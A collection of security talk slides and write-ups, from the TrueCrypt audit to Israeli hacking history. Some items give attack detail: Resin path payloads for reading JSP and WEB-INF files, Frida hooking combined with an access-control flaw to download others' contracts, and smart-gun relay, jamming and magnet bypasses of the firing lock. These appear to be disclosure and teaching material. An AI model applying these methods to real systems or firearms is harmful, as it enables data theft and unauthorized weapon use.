text
stringlengths
100
9.93M
category
stringclasses
11 values
The$Open$Crypto$Audit$Project:$ Our$Story6 Kenneth White & Matthew Green DEF CON 22 | 2014.08.08 Open$Crypto$Audit$Project6 Everyone has a story. This is ours. DEF CON 22 | 2014.08.08 Agenda6 •  First Principles •  Post-Snowden Era •  The TrueCrypt Story •  Open Crypto Audit Project •  Secure Coding & Trust •  Looking Ahead •  Open Discussion (and swag!) DEF CON 22 | 2014.08.08 About$Us6 DEF CON 22 | 2014.08.08 Kenneth$White6 •  Interests: RT signals, embedded systems, analytics •  First DEFCON: DC10 •  Formal training: bio-signals (EEG/ERP, MRI, PET, EKG, EOG) •  Early career: databases, *nix, RTOS, h/w drivers •  Lifecycle: FDA (cardiac safety), SEI SEPG, IA •  Defense: network security, API endpoints •  Recently: public cloud security, ML/classification, safety-critical systems, breaking crypto/networks/ websites/OS’ •  Now: OCAP, Linux Foundation CII, NGO security •  @kennwhite DEF CON 22 | 2014.08.08 I$like$to$work$on$interesting$problems6 DEF CON 22 | 2014.08.08 MaDhew$Green6 •  Johns Hopkins University: Computer Science •  Teaches applied cryptography •  Builds secure systems •  Trained under Susan Hohenberger &Avi Rubin •  Former senior research staff: AT&T Labs •  On-going Research includes: o  Techniques for privacy-enhanced information storage o  Anonymous payment systems (including ZeroCoin) o  Bilinear map-based cryptography •  @matthew_d_green DEF CON 22 | 2014.08.08 MaDhew$Green6 DEF CON 22 | 2014.08.08 (not his actual Dachshunds) Long$journey$to$DEFCON$(no,$really)6 DEF CON 22 | 2014.08.08 (my actual Shepherds, semi-medicated) “I’m here to share what I know, and learn with and from you.” — Jack Daniel DEF CON 22 | 2014.08.08 First$Principles6 “If a bad guy can persuade you to run his program on your computer, it's not your computer anymore.” — Scott Culp DEF CON 22 | 2014.08.08 First$Principles6 “If a bad guy can persuade you to run his program on your computer, it's not your computer anymore.” — Scott Culp “Even if it has disk encryption.” — Kenn White DEF CON 22 | 2014.08.08 Crypto$101:$First$Principles6 Thompson: Reflections on Trusting Trust cm.bell-labs.com/who/ken/trust.html Culp: 10 Immutable Laws of Security technet.microsoft.com/library/cc722487 Zimmerman: Beware of Snake Oil www.philzimmermann.com/EN/essays/SnakeOil DEF CON 22 | 2014.08.08 PostPSnowden$Era6 •  NYT, Propublica, Guardian: NSA spends $250M/yr to counter & undermine “the use of ubiquitous encryption across the internet” •  NIST technical standards “intentionally weakened” •  BULLRUN: NSA actively working to "Insert vulnerabilities into commercial encryption systems, IT systems, networks, and endpoint communications devices used by targets” The New York Times, 2013/09/05 See: www.eff.org/nsa-spying/timeline DEF CON 22 | 2014.08.08 PostPSnowden$Era6 “Furthermore, we will be reviewing our existing body of cryptographic work” — National Institute of Standards and Technology, Nov 2013 Recommends that the US government “fully support and not undermine efforts to create encryption standards” — Presidential Advisory Committee, Jan 2014 “[C]lassified [reports] have heightened concern over the possibility of a backdoor… after conducting its own review, NIST [has] removed DRBG” — National Institute of Standards and Technology, Apr 2014 DEF CON 22 | 2014.08.08 Which$bring$us$to$TrueCrypt6 DEF CON 22 | 2014.08.08 TrueCrypt6 •  File, volume, full disk encryption (FDE) •  30M+ downloads •  Created Feb 2004 by anonymous development team •  Controversial license (Debian, Fedora, forbidden items”) DEF CON 22 | 2014.08.08 TrueCrypt6 •  Tool of choice for human rights workers, activists, attorneys, thousands of organizations, investigative/national security journalists, security professionals, and...? DEF CON 22 | 2014.08.08 DEF CON 22 | 2014.08.08 Aug 2014: docs.aws.amazon.com/AWSImportExport/latest/DG/encrypting-using-truecrypt.html TrueCrypt6 •  Never thoroughly audited on Windows •  Differences reported in volume headers •  Small differences in distributed binaries vs. source •  Windows vs. Mac & Linux •  With exception of deniability volume, no formal cryptanalysis •  Deterministic build? (Xavier de Carné de Carnavalet) •  Last license review in 2008 by RedHat/Fedora/OSSI concluded “we would not be protected from a lawsuit” and “this license is non-free” DEF CON 22 | 2014.08.08 By$many$measures,$ relatively$strong*6 DEF CON 22 | 2014.08.08 *Hashes/sec on Sagitta Brutalis 290X: oclHashcat 1.00, AMD Catalyst 13.12 Accelerator: 8 x AMD Radeon R9 290X, stock clocks. Benchmark: Incremental brute force, alphanumcharset Anonymous$Dev$Team6 The information is out there •  Follow the money •  Follow the attorneys •  What we can share •  What we won’t share DEF CON 22 | 2014.08.08 Public$Record6 •  State of Nevada Corporate Records •  US Trademark Office •  International Trademark Filings (UK, France, China, Russia, Czech Republic) •  Public IRS filings •  Usenet/mailing list forums •  Published academic papers •  Student theses DEF CON 22 | 2014.08.08 Public$Record6 Some things we chose not to share. DEF CON 22 | 2014.08.08 Why?6 DEF CON 22 | 2014.08.08 Remember$this$doxing?6 DEF CON 22 | 2014.08.08 Let’s$not$forget$this:6 DEF CON 22 | 2014.08.08 And$this:6 DEF CON 22 | 2014.08.08 And,$crucially,$this:6 DEF CON 22 | 2014.08.08 Back$to$the$Code6 DEF CON 22 | 2014.08.08 Conventional$Wisdom:$ Given$enough$eyeballs,$ all$bugs$are$shallow.6 DEF CON 22 | 2014.08.08 Meet$Samuel$Reshevsky,$age$8$defeating$14$ French$chess$masters$at$once,$19206 DEF CON 22 | 2014.08.08 And$so,$it$began...6 DEF CON 22 | 2014.08.08 The$TrueCrypt$Audit6 •  IsTrueCryptAuditedYet.com: Sept 24, 2013 •  Announced on Twitter •  First contributions: Matthew & Me •  FundFill site set up DEF CON 22 | 2014.08.08 DEF CON 22 | 2014.08.08 DEF CON 22 | 2014.08.08 The$TrueCrypt$Audit6 "   Oct 9, 2014 •  Prof. Green blogs about it •  Front page Hacker News DEF CON 22 | 2014.08.08 Why,$hello$there!6 DEF CON 22 | 2014.08.08 And$so$it$went...6 •  No, we don’t take Bitcoin. •  Yes, we take Bitcoin. •  Yes, the site is mobile-friendly. •  No, we don’t take PayPal. •  /sets up IndieGoGo site. •  Yes! We take PayPal. DEF CON 22 | 2014.08.08 And$so$on...6 “Hi, I’d like to buy 500 t-shirts, please.” “Do you ship to Thailand?” Where does one purchase 150 DVDs of Sneakers? DEF CON 22 | 2014.08.08 Incredible$community6 DEF CON 22 | 2014.08.08 DEF CON 22 | 2014.08.08 Fiducial$responsibility$is$ complicated6 Fiducial$responsibility$is$ complicated6 DEF CON 22 | 2014.08.08 Then,$a$few$days$later6 •  Ars Technica, ThreatPost, The Economist, Nature, CIO, The Register, InfoWorld, PC World, Network World . . . •  What do you mean you there’s $30,000 in PayPal?! DEF CON 22 | 2014.08.08 Then,$a$few$days$later6 •  Ars Technica, ThreatPost, The Economist, Nature, CIO, The Register, InfoWorld, PC World, Network World . . . •  What do you mean you there’s $30,000 in PayPal?! DEF CON 22 | 2014.08.08 And$thus$was$born$the$Open$ Crypto$Audit$Project6 A U.S. non-profit organization, incorporated in the state of North Carolina, currently seeking federal 501c(3) tax-exempt designation DEF CON 22 | 2014.08.08 Open$Crypto$Audit$Project6 Mission o  Provide technical assistance to free open source software (“FOSS”) projects in the public interest o  Coordinate volunteer technical experts in security, software engineering, and cryptography o  Conduct analysis and research on FOSS and other widely software in the public interest DEF CON 22 | 2014.08.08 DEF CON 22 | 2014.08.08 Open$Crypto$Audit$Project6 Advisory Board o  Jean-Philippe Aumasson o  Nate Lawson o  Runa Sandvik o  Bruce Schneier o  Thomas Ptacek o  Jim Denaro o  Moxie Marlinspike o  Trevor Perrin o  Joseph Lorenzo Hall DEF CON 22 | 2014.08.08 And$thus$was$born$the$Open$ Crypto$Audit$Project6 OpenCryptoAudit.org/people DEF CON 22 | 2014.08.08 Open$Crypto$Audit$Project6 Officers & Directors o  Matthew Green o  Marcia Hoffman o  Kenneth White DEF CON 22 | 2014.08.08 Our$first$Board$meeting6 DEF CON 22 | 2014.08.08 Making$the$connections...6 DEF CON 22 | 2014.08.08 The$work$begins6 •  Reached out to a few of the small handful of organizations that are capable of doing this work •  Great response from iSec Labs •  Open Technology Fund matching grant DEF CON 22 | 2014.08.08 FastPforward6 DEF CON 22 | 2014.08.08 FastPforward6 DEF CON 22 | 2014.08.08 FastPforward6 •  iSec’s final security assessment: •  Weak volume header key derivation (low kdf iteration count) •  Sensitive information could be paged out from kernel stacks •  Issues in the boot loader decompressor •  Use of memset() to clear sensitive data •  Overall findings: “no evidence of backdoors or intentional flaws” DEF CON 22 | 2014.08.08 What$does$that$mean?6 •  Password strength is crucial (same as always) •  Vulnerabilities discovered would likely require physical access to a mounted volume to construct exploit chains (scape key material, page files, etc) •  This is *not* a part of the TrueCrypt security model •  If your machine is compromised, disk crypto will not help you (see Culp-White Law, earlier) •  PSA: *All* major FDEs, including Bitlocker, DM-Crypt, and FileVault have identical attack vectors •  So far, so good. DEF CON 22 | 2014.08.08 But$then...6 DEF CON 22 | 2014.08.08 Life$is$what$happens$when$you’re$ busy$making$other$plans6 DEF CON 22 | 2014.08.08 TrueCrypt.org$goes$dark6 •  v. 7.2 is released, signed with developer keys (updated cert) •  Now read-only •  Archive is taken offline •  Recommendations for alternatives non-optimal DEF CON 22 | 2014.08.08 DEF CON 22 | 2014.08.08 Our$Response6 •  OCAP is continuing through with the Phase II (formal cryptanalysis) of the code •  We have created a trusted repository of source and binaries for all platforms •  Thomas Ptacek and Nate Lawson organizing Phase II •  We are considering several post-audit scenarios, •  /possibly/ including financial support for a trusted fork •  *Many* challenges and questions remain DEF CON 22 | 2014.08.08 Secure$Coding$and$Trust6 DEF CON 22 | 2014.08.08 Crypto$Engineering6 “There is no difference, from the attacker's point of view, between gross and tiny errors. Both of them are equally exploitable...This lesson is very hard to internalize. In the real world, if you build a bookshelf and forget to tighten one of the screws all the way, it does not burn down your house.” — Maciej Cegowski DEF CON 22 | 2014.08.08 (In)secure$Coding:$ Where%static%analysis%might%help1 •  Unintended compiler optimizations •  Primitive type transpositions •  Pointer assignment vs. array assignments/terminators From: www.viva64.com/en/examples (recommend preparing a tall glass of Scotch first) DEF CON 22 | 2014.08.08 (In)secure$Coding6 DEF CON 22 | 2014.08.08 “Source code is interesting. Everybody thinks if you have source code, you’re going to be able to find everything wrong with [a system]. That’s a misconception. It’s nice to have source code so if you see something funny happening, you can check and see why – try to dig down… But for somebody to [manually] analyze millions of lines of source code, it’s just not going to happen.” — Richard George Former Technical Director NSA Information Assurance Directorate Retrospective Keynote, June, 2014 vimeo.com/97891042 [35:50] Consider$a$hypothetical:6 DEF CON 22 | 2014.08.08 Consider$a$hypothetical:6 DEF CON 22 | 2014.08.08 In$Action6 Credits: Program Verification Systems (http://www.viva64.com/en/d/0208/) DEF CON 22 | 2014.08.08 Visual$Studio$20106 DEF CON 22 | 2014.08.08 memset()%didn’t1 DEF CON 22 | 2014.08.08 Back$to$the$source6 DEF CON 22 | 2014.08.08 RtlSecureZeroMemory()$does6 DEF CON 22 | 2014.08.08 Multiple$options6 •  Prefer secure memory/copy functions of stdlib •  Review limitations of the language/framework •  Understand compiler optimization side-effects •  GCC 4.4+ (2009) offers a pragma for function-level optimization control or prevention (see: gcc.gnu.org/onlinedocs/gcc-4.4.0/gcc/Optimize-Options.html) •  Learn from others’ experience DEF CON 22 | 2014.08.08 Multiple$options6 •  Prefer secure memory/copy functions of stdlib •  Review limitations of the language/framework •  Understand compiler optimization side-effects •  GCC 4.4+ (2009) offers a pragma for function-level optimization control or prevention (see: gcc.gnu.org/onlinedocs/gcc-4.4.0/gcc/Optimize-Options.html) •  Learn from others’ experience DEF CON 22 | 2014.08.08 The$Onion$Router$(TOR)6 crypto.c tortls.c connection_or.c onion.c rendclient.c tor-gencert.c DEF CON 22 | 2014.08.08 The$Onion$Router$(TOR)6 crypto.c tortls.c connection_or.c onion.c rendclient.c tor-gencert.c DEF CON 22 | 2014.08.08 Network$Security$Services$ (NSS)6 sha512.c DEF CON 22 | 2014.08.08 Network$Security$Services$ (NSS)6 sha512.c DEF CON 22 | 2014.08.08 OpenSSL6 ec_mult.c DEF CON 22 | 2014.08.08 OpenSSL6 ec_mult.c DEF CON 22 | 2014.08.08 On$Trust6 DEF CON 22 | 2014.08.08 Probably$not$your$threat$model6 DEF CON 22 | 2014.08.08 Trust$is$complicated6 DEF CON 22 | 2014.08.08 *Really*$complicated6 DEF CON 22 | 2014.08.08 On$Trust6 DEF CON 22 | 2014.08.08 On$Trust6 DEF CON 22 | 2014.08.08 Strong$crypto$does$not$ equal$secure$code6 DEF CON 22 | 2014.08.08 Forward$Secrecy$won’t$help6 DEF CON 22 | 2014.08.08 Even$with$the$best$designs…6 DEF CON 22 | 2014.08.08 Things$that$make$you$go$ hmmm6 DEF CON 22 | 2014.08.08 It$bears$repeating...6 DEF CON 22 | 2014.08.08 Usable$Crypto$is$HARD6 DEF CON 22 | 2014.08.08 TakePAways6 •  Many recent catastrophic failures are secure coding errors, not crypto errors •  Static analyzers are not enough •  Manual inspection is not enough •  Source code can result in unexpected binary code •  Subject matter experts (protocols, crypto, network) may bring more perspective than “enough” eyes DEF CON 22 | 2014.08.08 If$the$game$is$rigged,$strong$ crypto$probably$won’t$help$you.6 DEF CON 22 | 2014.08.08 DEF CON 22 | 2014.08.08 Looking$forward6 Recap:$Where$are$we$now?6 •  Phase I Report released April 23, 2014 •  Beginning Phase II, to include: •  Formal cryptanalysis •  OSX & Linux review •  Additional license work •  Partnering with Linux Foundation Core Infrastructure Initiative •  Auditing OpenSSL, possibly more •  Looking ahead! •  Trusted TC mirror: github.com/AuditProject/truecrypt-verified-mirror DEF CON 22 | 2014.08.08 Final$Thoughts$&$Goals6 •  Unpaid volunteers are not enough •  One-off bug bounties are not enough •  Encourage secure coding practices •  Support & create smarter test harnesses •  Develop a workable model for public code review DEF CON 22 | 2014.08.08 Open$Discussion$ 6 DEF CON 22 | 2014.08.08 Talk$to$us6 DEF CON 22 | 2014.08.08 @matthew_d_green @kennwhite @OpenCryptoAudit [email protected] IsTrueCryptAuditedYet.com (partly!) OpenCryptoAudit.org blog.cryptographyengineering.com github.com/AuditProject/truecrypt-verified-mirror
pdf
From “One Country - One Floppy” to “Startup Nation” The story of the early days of the Israeli hacking community © PerimeterX 2016 2 Israeli Tech Leaders: Let’s see how it all started Hacking Cracking Phreaking Carding 90’s Terminology The BBS Scene The BBS Scene The BBS Scene BBS Mischief The Story of the Ethics Group [Ref] The Demo Scene The Virus Scene Virii Israel’s part of the scene Haifa Jerusalem Search for attribution? [Ref1] Anti Virii List of famous Israeli products Screenshots when possible Personal anecdote: Inbar and the Haifa virus Inbar and Uzi Apple/Yuval Tal VirusBuster [Ref1] Anti Virii Reverse Engineering Tool Evolution Debug -> Turbo Debugger -> Soft-ICE/TRW -> Ollydbg Sourcer -> IDA Pro Contributions Anti Debugging Tricks Cracking Learning to Code Hardware Copy Protection The Story of unasi Music: ftp://modland.ziphoid.com/ pub/modules/Protracker/ Fred%20(FR)/intro1.mod The story of untiny Internet Timeline in Israel So we understand we need to take care of ourselves Eden’s Story of Fin (Sam) Phreaking Phreaking Calling Cards Friends who were operators No OPSEC whatsoever back then Telephony played DTMF to a token-operated pay phone PBX wardialing Carding CBI & TRW credit verification systems [Ref1] Trade vs. Use The ethical line of proud hackers You’ll notice that for this particular category, we don’t have anecdotes ;-) Famous Busts Deri Schreibman (1991) First public Israeli case [Ref1] [Ref2] Analyzer (1998, 2008, 2013) Ehud Tennenbaum [Ref1] Michael HaEfrati (2005) The Trojan Horse story [Ref1] Ashkelon Hacker (2017) Convergence Epilogue
pdf
1 Resin<=Q.L.TS⽂件读取 ⼏个⽉前发现的洞直接fuzz到的p0desta师傅挺早就发现了,官⽅在去年12⽉8号修复了这个漏洞。 https://caucho.com/products/resin/download 此漏洞泛微不可⽤因为泛微的安全过滤器不允许URL出现分号。 看过resin代码的都知道他在下⾯这个地⽅匹配 Servlet com.caucho.server.dispatch.ServletMapper#mapServlet 默认存在 resin-file 和 resin-jsp 当所有 Servlet 都匹配不到的时候就会⾛ resin-file ⾸先看读取jsp⽂件内容 com.caucho.server.dispatch.ServletMapper#mapServlet ⼀、前⾔ ⼆、代码分析 2 此处先获取根据 invocation.getContextURI() 获取URL然后进⼊ stripPathParameters 处 理路径参数也就是去除分号及其后⾯的字符得到 /b.jsp. 再与 _servletMap ⾥的正则匹配,此时匹 配不到就会进⼊默认的 resin-file ,进⾏⽂件读取。 com.caucho.servlets.FileServlet#service 3 ⾸先根据 servletpath 获取到 /b.jsp. 然后进⼊ getRealPath 进⼊ normalizeUri 4 如果是windows的话会将最后⼀个.或空格移除(还有就是会将斜杆前⾯的点或空格移除)。 这样跟下来有的⼈就会问为啥 /b.jsp. 不能直接读⽂件啊 因为实际上在到达 com.caucho.server.dispatch.ServletMapper#mapServlet 之前会先进 ⼊ com.caucho.server.dispatch.InvocationDecoder#splitQueryAndUnescape 在这⾥就会先对 uri 进⾏ normalizeUri 去除这个 . 所以payload是 %20;xxx 或者 .;xxx 。 读WEB-INF下的 5 主要是在这⾥做了限制,原理和上⾯⼀样,这⾥⽤的是 relPath 来判断是没有去除空格的。但是不能使 ⽤ /.;/WEB-INF/XXX 因为在 normalizeUri ⾥存在⼀个判断 6 意思⼤概是如果斜杆后⾯是分号就报错,如果斜杆后⾯是点的话会先跳过点判断。其他的就和前⾯类似 了。 com.caucho.server.dispatch.InvocationDecoder#normalizeUri(java.lang.Strin g, boolean) 研究了下没绕过的思路了。 normalizeUri 对空格和点在某些特殊位置的处理,两次传⼊ normalizeUri 时利⽤分号的特性, 使得最开始的⼀次带分号进⼊,第⼆处不带分号进⼊。 三、官⽅修复 四、总结 7
pdf
• • • • • • • PythonConsole.cmd • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • •
pdf
记一次受限制的文件下载 其实这个操作比较简陋主要是减少了很多其他功夫 首先在 app 中发现这个功能 可以下载合同信息,里边有很多敏感信息等 且可以下载导出的 点击下载 然后分享一下 手机登录 qq 然后就可以分享到 qq 好友 就可以查看文件了 就能获取到这个合同的详细信息了 这里有一个点 有几个数据包 是能看到 合同 的内容 ,合同的下载地址两个信息 这里的 frameurl 需要留意一下 但是 有签名校验 ,无法越权等操作(这里的签名之前绕过所以加了两层 不太好去跟 也是 后边直接 hook 的原因) 其中发现有一个数据包泄露了合同地址 于是直接 curl 下载一下看看 发现无响应 然后我解析了一下域名发现 这时候在考虑它是怎么下载的 所以推测是利用 app 本身重组数据包调用它其他的接口下载 然后上 jadx 查看 app 代码 查看数据包 通过上述有几个数据包 泄露的返回包信息的 几个特殊字段 就是上边的 frameurl 这种比较唯一的字段能很快的帮助我们定位到比较准确的位置 然后搜了一下索引,在根据 函数的声明和引用 最后定位到了这里 发现这个关键词 download 和 filepath 感觉很像这里 上 objection hook 一下这个函数 然后去下载合同功能 点一下 发现成功打印出参数 返回值 调用栈 发现确实 这个合同的地址 走到了这里 所以 想到 我可以通过 frida 直接 hook 这个函数。 因为它的参数校验比较多,去跟的话 太费时间了。 我去传入合同地址 让他去下载。然后我再导出即可。 发现这个文件名构造非常简单 合同地址后边是时间戳 然后通过它的 web 端 找到了一处可以越权查看所有合同的创建时间(这里是之前测试发现 一处没啥用的越权 没在意就留着了) 遍历这个点 就可以获取到 所有合同的生效时间了 这样对于后边我们批量获取合同文件名 结合 就完成了攻击链 碰到没啥用的漏洞可以先留着 说不定后边就用到了。。。 开始 hook 登录进去点击我的合同 直接重复之前的下载过程 成功 hook 完整下载 其实这个 后边 还能 玩一下 ssrf 到内网的。 因为我们文件的下载地址也是本地局域网的。同理找一下内网的地址试一下 跟一下这个函数完整的流程也能找到它去处理这个地址构造发包的逻辑, 如果要跟 sign 的不知道要花多少时间,这个点前后 10 分钟就梭哈完成了。危害厂商也是拉 满了
pdf
Popping a Smart Gun DEF CON 25 [email protected] What is a smart gun? Skyfall Why I care Armatix iP1: watch and pistol Normal operation 25 cm Here’s a token Hey! *squeeze* 1 2 “Good, now I can fire” 3 4 (Demo of normal operation) Motivation: a good challenge Forum post on Armatix iP1 review, November 2015: So… let’s pop it three ways! •Defeat proximity restriction •Denial of service •Fire without authorization Normal range 25 cm 916.5 MHz 5.35 kHz 5.35 kHz burst Burst Relay block diagram MCU nRF24 2.4 GHz 916.5 MHz MCU nRF24 BPF Driver 5.35 kHz 5.35 kHz 3 m 4 1 2 3 Relay devices (custom hardware) Pistol side Watch side nRF24 2.4 GHz xcvr 5.35 kHz tuned coil 5.35 kHz BPF & amp Coil driver PIC16F MCU Relay devices (custom hardware) Total cost: $20 • Cost (each): – $5 nRF24 module – $2 PCB – $1 microcontroller – $2 other parts (Demo of relay attack) Latency of relay Pistol NFC start Slave NFC start 630 us overall latency Relay defense • Enforce very tight timing requirements • Don’t use RF/NFC at all for proximity • This is a difficult problem – Applicable to many products/industries Denial of service • Scenario 1: – Adversary wants to prevent gun from being fired by authorized user • Scenario 2: – Parent wants backup kill-switch in house in case gun not locked up properly • Scenario 3: – Other device unintentionally interferes RF weaknesses 916.5 MHz 5.35 kHz Not necessarily intentional • 900 MHz ISM band used by many products – Baby monitors – Wireless microphones – Wireless video game controllers – Wireless headphones – Utility telemetry systems – Cordless phones • EMC testing should catch these problems 900 MHz transceiver Slicer and Manchester coding 1 0 1 1 1 0 ? 1 Watch auth token to pistol Sync Constant data Dynamic data Constant data Dynamic data Checksum Test signal 300 us inactive 33 us active Test signal over watch signal Scenario 1: Interference > Signal Signal strength Time = interfering signal = watch signal Slicer level Slicer level set based on interference peaks Slicer level too high No signal bits recovered Scenario 2: Interference ≈ Signal Signal strength Time = interfering signal = watch signal Slicer level Interference fills gaps in signal No edges where there should be edges Manchester decoding fails Scenario 3: Interference < Signal Signal strength Time = interfering signal = watch signal Slicer level Interference appears before byte start Byte sync incorrect Byte decode fails Custom test transmitter (yes, I know that through-hole components usually go on the other side of a stripboard like this) Antenna (Linx 916-SP2) MCU (PIC16F18313) Transceiver (Murata TR1000) Effective range 916.5 MHz TX 3+ m (Demo of denial of service) DOS defense • Use more transmitter power • Use error-correcting codes • Use more-robust modulation US patent 8,966,803 Unlocking mechanism Electromagnet MCU Ferrous material Cam Trigger Firing pin with blocking lugs Pin blocker Channel for pin to be unblocked (Looking longitudinally) Trigger partially pulled MCU Cam moves up Trigger partially pulled, presses on cam Firing pin closer to being unblocked (Looking longitudinally) Scenario 1: Firing NOT authorized Electromagnet NOT active MCU Firing pin remains blocked; Gun cannot fire (Looking longitudinally) Scenario 2: Firing authorized Electromagnet rotates pin block remainder of distance MCU Firing pin matches hole; Pin is unblocked; Gun can fire (Looking longitudinally) Mechanism in frame Electromagnet Top view of pistol frame Mechanism in slide Ferrous material Cam presses here Profile view of slide Bottom view of slide Magnet attack MCU (Looking longitudinally) External magnet pulls ferrous material; Pin unblocked; Gun can fire Magnets • N52 neodymium magnets • 32 mm 5 mm • $19 on Amazon for a four- pack (only three are required) • Cost – $14.25 magnets – $0.20 scrap dowel – $0.05 stainless screw – Total: ≈$15 Completed magnet tool Magnet alignment Align magnet here Magnets on pistol (Demo of magnet attack) Magnet defense • Don’t use magnets, solenoids, etc. – Nothing involving a DC magnetic field – Consider motor-driven mechanism • Detect external magnetic field and activate secondary lock – Kind of like a relocker in a safe [email protected] @_plore Final Thoughts BACKUP SLIDES What is a smart gun? • Firearm that can be fired only by an authorized user • Various authorization techniques – Magnetic ring – RFID – Biometrics (e.g., fingerprint reader) Smart gun models • Examples that have been prototyped – iGun shotgun (RFID ring) – Kloepfer pistol (fingerprint) – Magna-Trigger/Magloc retrofit (magnets) – Safe Gun retrofit (fingerprint) • Only one model currently for sale in the US – Armatix iP1 (NFC/RF watch) New Jersey Smart Gun Law • “New Jersey Childproof Handgun Law” 1 • Takes effect 3 years after qualifying guns available at retail • Guns legally sold if and only if they “can only be fired by an authorized or recognized user” • Owners of gun stores have received threats over plans to sell the Armatix iP12,3 1 http://www.npr.org/sections/alltechconsidered/2014/06/24/325178305/a-new-jersey-law-thats-kept-smart-guns-off-shelves-nationwide 2 https://www.washingtonpost.com/local/maryland-dealer-will-defy-gun-rights-advocates-by-selling-nations-first-smart-gun/2014/05/01/564efa48-d14d-11e3-937f-d3026234b51c_story.html 3 https://www.washingtonpost.com/local/california-smart-gun-store-prompts-furious-backlash/2014/03/06/43432058-a544-11e3-a5fa-55f0c77bf39c_story.html Armatix iP1 • Custom semi-auto pistol design • Fires .22 LR cartridge • Hammer fired • Introduced ca. 2015 • “Smart” authorization via paired wristwatch Design overview • Two system components – Pistol – Watch • Watch authorizes pistol to fire • Watch must be near the pistol (<25 cm) • Communication – Pistol watch: 5.35 kHz inductive – Pistol watch: 916.5 MHz Armatix iP1 operation 1. Enter PIN on watch 2. Wear watch within 25 cm of pistol 3. Squeeze grip on pistol 4. Fire pistol Armatix iP1: pistol field strip Size comparison Glock 17 Armatix iP1 Ruger SR22 Design internals • MSP430 microcontroller • Murata TR1000 – 916.5 MHz transceiver – OOK modulation • Ferrite-core coil for NFC • FCC equipment cert database is amazing – Interior photos, EMC test results, etc. Unlock sequence • Pistol sends 5.35 kHz CW chirp for 1.5 ms – No data; just carrier – Range of about 25 cm • Watch receives chirp and sends unlock response on 916.5 MHz • Pistol ACKs 100 ms later on 916.5 MHz • If watch sent correct code, pistol enables firing • Watch retries once after 400 ms if no ACK • LED on pistol grip – Green = auth token, can fire – Red = no token, cannot fire Operation overview • Pair watch and pistol – Long PIN to do this (only needed once) • Sync watch and pistol – Auth tokens are time-dependent – Clock drifts badly, so need to do this often • Enable firing on watch – 5-digit PIN (4 values per digit; 1024 possibilities) – Activates watch for 2-8 hours (selectable) • Squeeze pistol backstrap • Pistol sends 5.35 kHz chirp to watch • Watch sends auth code to pistol via RF • Pistol enables firing by unblocking firing pin Watch/pistol comms • OOK, Manchester coding • 30 kbit/s raw, 2 kbytes/s net • 8-bit checksum • 8 data bits plus one start bit – Least-significant bit first • 19-byte frame from watch to pistol • 13-byte frame from pistol to watch Watch and Pistol on 916.5 MHz Watch sends token Pistol ACKs token 100 ms Pistol reply to watch Sync Constant data Checksum Battery level Watch and pistol on spectrum analyzer Pistol Watch -40 dBm 0 Hz span – 100 ms/div How to defeat proximity • Relay 5.35 kHz burst – First device: • Listen for 5.35 kHz chirp • Send indication that chirp occurred over backhaul – Second device: • Listen for trigger on backhaul about chirp • Generate 5.35 kHz chirp near watch • Watch thinks it’s hearing from pistol, sends auth token at 916.5 MHz • 916.5 MHz reply strong enough for at least 3 m – TX power from watch roughly -20 dBm – Could be similarly proxied over backhaul for limitless range Defeat proximity restriction • Watch normally needs to be <25 cm from the pistol • We want to fire the pistol when separated from the watch by more distance • Distance limited by physics of 5.35 kHz near- field coupling – The 916.5 MHz signal goes much farther Proximity-defeat results • Works reliably to at least 3 m – 12x range improvement • Limit now is 916.5 MHz radio link – Could work arbitrarily far with a 916.5 MHz relay • Relay adds about 630 us latency – System tolerates it Proximity-defeat HW • Custom hardware, pulse listener: – Tuned coil placed near pistol – 5.35 kHz bandpass filter/amplifier – Microcontroller (PIC16F) sampling and watching for burst from pistol – 2.4 GHz transmitter (nRF24) to trigger generator • Custom hardware, pulse generator: – Tuned coil placed near watch – Microcontroller generating 5.35 kHz chirp – Simple Class C amp driving coil (MOSFET connected to GPIO) – 2.4 GHz receiver to receive trigger signal Latency of relay Radio TX start Slave NFC start 400 us latency due to radio, SPI, etc Latency of relay Pistol NFC start Slave NFC start 630 us overall latency How sensitive to interference? • OOK modulation is highly susceptible to interference – 916.5 MHz module datasheet used in iP1 warns that slicer will be “blinded” by strong noise pulses1 – Slicer will also be fooled by lone pulses in bit timeslot that are less than 6 dB down from the normal bit peaks • Signal from watch measured at -40 dBm @ 10 cm – Typical distance between pistol and watch – Implies actual TX power of about -20 dBm • Ballpark: interference signal at least -50 dBm at pistol will prevent reception of signal from watch – …even when pistol is very close to watch 1 http://wireless.murata.com/media/products/apnotes/ook.pdf Not necessarily intentional • 900 MHz ISM band used by many products – Baby monitors – Wireless microphones – Wireless video game controllers – Wireless headphones – Utility telemetry systems – Cordless phones • EMC testing should catch these problems Theory • Constant carrier has effect only up to about 1 m • Why pulsed carrier? – Short range: our pulse is stronger than normal pulses, so slicer level is set too high – Mid range: our pulse about the same strength as normal pulses, so bit interference high (edges missing, so bits can’t be decoded) – Long range: our pulse comes before packet/byte sync, prevents packet/byte sync, corrupting packet 5.35 kHz NFC • Very sensitive to false signals • Will respond to other bursts when source close • But… • Short range – Inductive coupling – Low power, low receiver sensitivity • Limited impact – False signal simply causes another token to be issued by the watch 916.5 MHz RF • Also very susceptible • Transmitting a 916.5 MHz pulsed signal – Corrupts data from watch – Prevents pistol from getting auth token • Pistol cannot fire without auth token • We’re basically doing EMC testing – Not necessarily intentional interference – Don’t call it jamming Unmodulated carrier spectrum Modulated transmitter spectrum Transmitter over watch signal Transmitter stepping on watch signal Transmitter pulses Normal watch pulses Results • Gun does not fire while transmitter is active – 100% effective up to 3 m – Some effect even up to 10 m depending on pistol orientation – Higher TX power would increase range • For these tests, watch was on wrist of non- shooting hand (about 10 cm from pistol) Scenario 2: Firing IS authorized Electromagnet active; pulls on ferrous material MCU (Looking longitudinally) Electronic attack • Impersonate watch? • Replay attack? – Perhaps including forcing pistol/watch time to specific moment • Some other exploit? • Investigated, but then… Mechanical operation • Hammer always falls • Firing pin blocked unless authorized • If authorized, electromagnet is energized as long as backstrap remains pulled • Half-pull of trigger moves cam in receiver that moves linkage in slide – Partially unblocks firing pin • The half-pull moves a ferrous material within range of the electromagnet – Electromagnet pulls linkage the remainder of the way, unblocking the firing pin Mechanical attack • Use a Big-Ass™ Magnet • Put the magnet next to the pistol so that it will fill in for the electromagnet • Needs to be strong, but not too strong – Too strong will stop everything from moving • A stack of three 1.25” diameter, 0.2” height N52 neodymium magnets works well Magnet attack in package You can do this without even taking the magnets out of their 